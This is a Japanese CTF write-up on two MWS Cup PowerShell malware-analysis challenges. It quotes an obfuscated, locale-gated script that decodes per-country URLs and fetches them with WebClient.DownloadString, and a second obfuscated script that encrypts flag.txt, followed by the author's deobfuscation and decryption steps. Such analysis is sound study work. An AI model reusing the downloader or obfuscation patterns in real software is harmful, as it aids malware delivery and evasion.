# MWSのps1 ## q2 ### 問題文 ```markdown このPowerShellコードは環境に応じて異なるURLに対してアクセスします。 それらのURLの中で最も文字列長が長いURLを答えてください。 回答は MWSCup{URL} の形式とします。 URLが```https://www.example.com/index.html```の場合、FLAGは```MWSCup{https://www.example.com/index.html}```です。 ``` ### 解答 - Powershellくっそめんどくさいからやりたくねぇ - `()|%{}` - こういったシンタックスが採用される言語は往々にして初見殺しで面倒くさい - 拝承 `https://bayashita.com/p/entry/show/206` - LinuxのPowershellでやったら動かんかったキレそう - Goで書き直した ```golang package main import ( "fmt" "image/png" "os" ) func main() { imageFile, _ := os.Open("../problem2.png") defer func() { _ = imageFile.Close() }() picture, _ := png.Decode(imageFile) out := make([]byte, 2352) for x := 0; x < 28; x++ { for y := 0; y < 28; y++ { pixel := picture.At(x, y) cursor := (y*28 + x) * 3 r, g, b, _ := pixel.RGBA() out[cursor] = byte(b) out[cursor+1] = byte(g) out[cursor+2] = byte(r) } } fmt.Printf("%s\n", out[:1706]) } ``` - え、まだ続くん???(それはそう) ```powershell $c = Get-Culture function bbbbb($ioio,$popo) { $tiaki = "!""#$%&`'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_``abcdefghijklmnopqrstuvwxyz{|}~" $mayumura = "" for ($i=0; $i -lt $ioio.Length; $i++ ) { for($j = 0; $j -lt $tiaki.Length; $j++ ) { if( $ioio[$i] -ceq $tiaki[$j] ) { $mayumura+=$tiaki[($j+$popo)%$tiaki.Length] break } } } return $mayumura } $hoge = "" if ( $c.lcid -eq (0x0411) ) { $hoge = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String((bbbbb ('ZAK)\=hoE,],]r.e^@?m\@qeEf*,\r*l[+Ga[<*d[+*aZP-oSfelSQFoRfebZL.)^AJ6') (0x0411)))) } ElseIf ( $c.lcid -eq (0x0412)) { $hoge = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String((bbbbb ('Y@J([<gnD+\+\rAmRP``ZP:kRLAmZP\rDOpnQ*>kDOJnZO>hZa1eYOpd[q1kYPRdZ?1*RK-(]@I5') (0x0412)))) } ElseIf ( $c.lcid -eq (0x0419) ) { $hoge = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String((bbbbb ('R9C!T5`g=$U$Uk>fKIYYSI3dKE>k=^"$Tj"dS#?YS4"\S#"YRH%gK^]dKI>gJI]YT#GWKI;aIk6$=_C%U2..') (0x0419)))) } ElseIf ( $c.lcid -eq (0x042A) ) { $hoge = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String((bbbbb ('A(2nC$OV,qDqDZ1U:8HHB8"S:41n.#sTDq-TB''wJ97WT:''wT97LU,p:PB''6Z,psPCpHPApLUBowT97TP8Z%o,N2rD!{{') (0x042A)))) } ElseIf ( $c.lcid -eq (0x0404)) { $hoge = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String((bbbbb ('gNX6iJu|R9j9j"[{`^nnh^Hy`Z[7TZ[{h^j"R]~|_8LyR]X|h]Lvho?sg]~ri!?;_^vnj8Llhsrxh7>~T!;6kNWC') (0x0404)))) } (New-Object System.Net.Webclient).DownloadString($hoge) ``` - 何が `Get-Culture` だイケイケのシリコンバレースタートアップか?? - 拝承 `http://ubweb.info/pcmemo/kiji/mf1964.html` - おそらく環境固有の `icid` でifを作ってるので、代入している `$hoge` が分かれば良さそう - Powershellのprintf相当分からん - なるほどね `https://www.miraclejob.com/recommend/detail?cd=21` - JavaScriptの次にMicrosoftが嫌いだが、このコードはLinuxで動いたのでコードを書き換えて実行した。 ```powershell $c = Get-Culture function bbbbb($ioio,$popo) { $tiaki = "!""#$%&`'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_``abcdefghijklmnopqrstuvwxyz{|}~" $mayumura = "" for ($i=0; $i -lt $ioio.Length; $i++ ) { for($j = 0; $j -lt $tiaki.Length; $j++ ) { if( $ioio[$i] -ceq $tiaki[$j] ) { $mayumura+=$tiaki[($j+$popo)%$tiaki.Length] break } } } return $mayumura } $hoge = "" $hoge = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String((bbbbb ('ZAK)\=hoE,],]r.e^@?m\@qeEf*,\r*l[+Ga[<*d[+*aZP-oSfelSQFoRfebZL.)^AJ6') (0x0411)))) Write-Output $hoge $hoge = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String((bbbbb ('Y@J([<gnD+\+\rAmRP``ZP:kRLAmZP\rDOpnQ*>kDOJnZO>hZa1eYOpd[q1kYPRdZ?1*RK-(]@I5') (0x0412)))) Write-Output $hoge $hoge = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String((bbbbb ('R9C!T5`g=$U$Uk>fKIYYSI3dKE>k=^"$Tj"dS#?YS4"\S#"YRH%gK^]dKI>gJI]YT#GWKI;aIk6$=_C%U2..') (0x0419)))) Write-Output $hoge $hoge = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String((bbbbb ('A(2nC$OV,qDqDZ1U:8HHB8"S:41n.#sTDq-TB''wJ97WT:''wT97LU,p:PB''6Z,psPCpHPApLUBowT97TP8Z%o,N2rD!{{') (0x042A)))) Write-Output $hoge $hoge = [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String((bbbbb ('gNX6iJu|R9j9j"[{`^nnh^Hy`Z[7TZ[{h^j"R]~|_8LyR]X|h]Lvho?sg]~ri!?;_^vnj8Llhsrxh7>~T!;6kNWC') (0x0404)))) Write-Output $hoge #(New-Object System.Net.Webclient).DownloadString($hoge) ``` - 拝承 ``` PS /mws/q2/solver> ./unarchived.ps1 http://www.example.mws-local-domain/files/bibi.txt http://www2.example2.mws-local-domain/files/livelove.txt http://www3.example33.mws-local-domain/files/ayase_eri_17.txt http://www4.example444.mws-local-domain/files/nishikino_maki_15.txt http://www5.example5555.mws-local-domain/files/yazawa_niko_17.txt ``` - ラブライブということが分かった - つまり `http://www4.example444.mws-local-domain/files/nishikino_maki_15.txt` Flag: `MWSCup{http://www4.example444.mws-local-domain/files/nishikino_maki_15.txt}` (大体50分、その内30分くらいを書き直しに使った) ## q3 ### 問題文 ```markdown このPowershellコードは、同じディレクトリにあるflag.txtを暗号化し、flag.cryptedとして出力します。 与えられたPowerShellコード及びflag.cryptedを元にflag.txtを復元してください。 回答するのは復元したflag.txtに含まれるmws{で始まるフラグです。 ``` ### 解答 - こういう系か - あーやりたくねぇ - やりたくねぇ - レビューじゃなかったら飛ばしてる - Set-Variable, Set-Content, Set-Item #とは - `https://b3g.hatenablog.com/entry/2019/11/27/222525` - 弱いって何だ - Powershellでは変数の宣言にすら強さが存在するのか??? - `https://tech.guitarrapc.com/entry/2014/02/11/061627` - OK - なるほどね ``` PS /mws/q2/solver> Set-Item "variable:palloc" 869 PS /mws/q2/solver> Write-Output $palloc 869 ``` - MSさん、ドキュメントこういうこともちゃんと書こうね - とりあえず上から読んでいこう - 台湾狙いなのね ``` ${C}."lc`Id" -ne 0x404``` - よく分からんけどこの問題も環境によっては動かないけど、動く環境で実行されたものとして読み進めるんだろうな - うわ、何がNTエポックタイムだ、ふざけるな - やってらんねー - 言語環境を調べるな ```powershell # FIXME: environment oriented, maybe must use # $eViOaDE = "en-US" Set-Variable -Name eViOaDE -Value (${pSC`ULTu`Re}) ``` - おそらく台湾のlocaleを与えるべきなのだろうか? - とりあえず与えて読み進める - 読むのだるくなったから、時間のところと関数を読んでるところ以外実行させて調べちゃおw ```powershell set-IteM ("var"+"iA"+"BLe:yb"+"zS7k") ( [TYPe]("{0}{3}{2}{1}{4}"-f 'sysT','N','odi','EM.Text.eNC','g')); Set-Variable -Name dGF -Value ([TypE]("{1}{0}" -F'nverT','cO')) ;Set-Variable -Name EISleAnVASEifLE -Value ((Gi ("var"+"iA"+"BlE:yB"+"zS7K"))."V`ALuE"::"a`sciI") Set-Variable -Name FEIFeLkA -Value ("{0}{3}{2}{4}{5}{1}"-f('soeo'+'vm'+'ase'+'ihql;edno_'),('1'+'026_'),'20',('mw'+'s'),'2','1') Set-Variable -Name FeIFELKc -Value ("{8}{9}{2}{6}{5}{0}{7}{1}{10}{3}{4}" -f'm','n','oe',('e8'+'92'),'3','ok',('8'+'vznow'+'se'),('82'+'l'),('OIn'+'v'),(';a'+'sdij'),'vI') Set-Variable -Name fEIFeLka -Value (${fEIF`eL`ka} + ("{1}{0}{2}" -f ('i'+'se'),'d',('k0'+'02'))) if ( ${FEIf`ElkA}."C`OnTAI`NS"(('0'+'02')) -eq ${t`RuE}){ # ${FEI`F`eLKa} = "fielsal" ${FEI`F`eLKa} += ("{0}{1}"-f('f'+'iels'),'al') } Set-Variable -Name eViOaDE -Value "zh-TW" Set-Variable -Name feIfelkB -Value ("{3}{1}{0}{2}{5}{4}"-f 'v','k',('e'+'ase'+'faei'),'e',('8aps'+'en_m'+'ws'+'2'+'0'+'21102'+'6_'),('o2'+'23')) Set-Variable -Name fEiFElkC -Value (${fEi`FE`lkC} + ("{2}{1}{0}{3}" -f '1','2',('_'+'mw'+'s20'),('1'+'026_'))) Set-Variable -Name feifelKd -Value ("{5}{2}{0}{3}{1}{4}" -f't','26','y',('89gq_mw'+'s202'+'110'),'_',('i2'+'986'+'ghasnv'+'q'+'o934')) if ( ${FE`IfE`Lkd}."c`oNtaINs"(("{0}{1}"-f 'ie',('la'+'ne'))) -eq ${T`RUe} ) { ${fEIf`ELKb} += ("{1}{2}{0}{3}" -f ('io'+'as'),'h',('a'+'oe'),'d'); } Else { Set-Variable -Name FeiFelKb -Value (${Fei`Fel`Kb} + ("{0}{2}{1}" -f('e'+'is'),'2',('al'+'d8'))); } Write-Output $FEIFeLkA Write-Output $FeIFELKc Write-Output $fEIFeLka Write-Output $eViOaDE Write-Output $feIfelkB Write-Output $fEiFElkC Write-Output $feifelKd ``` - 結果として ```powershell $FEIFeLkA = "fielsalfielsaldisek002" $FeIFELKc = "OInv;asdijoe8vznowseokm82lnvIe8923_mws20211026_" $fEIFeLka = "fielsalfielsaldisek002" $eViOaDE = "zh-TW" $feIfelkB = "ekveasefaeio2238apsen_mws20211026_eisald82" $fEiFElkC = "OInv;asdijoe8vznowseokm82lnvIe8923_mws20211026_" $feifelKd = "i2986ghasnvqo934yt89gq_mws20211026_" ``` - nrcお前…return無いん?? - お前はrubyか? ```powershell PS /mws/q3/solver> function palloc(){"palloc"} PS /mws/q3/solver> Write-Output (palloc) palloc PS /mws/q3/solver> $p = (palloc) PS /mws/q3/solver> Write-Output $p palloc ``` - ハー許せねぇ - こういったシンタックスが採用される言語は往々にして初見殺し(ry - `255 - ($Byte -bxor $S[($S[$I] + $S[$J]) % 256])` の結果の配列が返ってきてるぽぽい? - めんどくせぇ…… - え、結局nrc2回かければ元の文章手に入るじゃん(キレた) - 処理何も考えず上から読んでバカを見てしまった - bbbbbも結局固定値で値を戻す必要ないのか - よし、エンジニアやめよう - Goで書き直した - けど出力おかしいな ```hz1#VIJGਨ2I?G:%Hkf\$t`xR!QLRRnx!fvq%c|kpTxΰE}``` - Fileの時間取得がカスになった可能性があるので総当りしちゃおw - `mws` から始まる字列で創作しましたがありませんでした…… - くそったれじゃん ``` Congratulations!!! You have a collect answer!!!!!! Flas is mws{https://mayumura.tetetetetetetetetete.club:443/index.html} ``` - 最終的なsolver - https://gist.github.com/nomuken/99703389d59bb37fb3a4163dd66195c3 - 敗因 - 結局エンコードしているところが可逆であることを確認せず縦横無尽にPowershellのコードを調べ始めた - 解答ファイルにシンプルにFlagだけの文字列が入っていることを期待し `mws` から始まる文字列を探してしまった点 - これは自分が悪い (containsで探すべきだった) - とはいえ、フラグフォーマットが異なってたり(他の問題は `MWSCup{}` だけどこれは `mws{}`)、 `Flas is` になっているところを見ると `flag.txt` ファイル自体の差し替えをしたほうが良さそうに感じた Flag: `mws{https://mayumura.tetetetetetetetetete.club:443/index.html}` (大体3時間、Powershellの各文法を知っていくのに30分、環境特有の数値を得るのに1時間、Goへの移植に1時間、バグ取りに30分)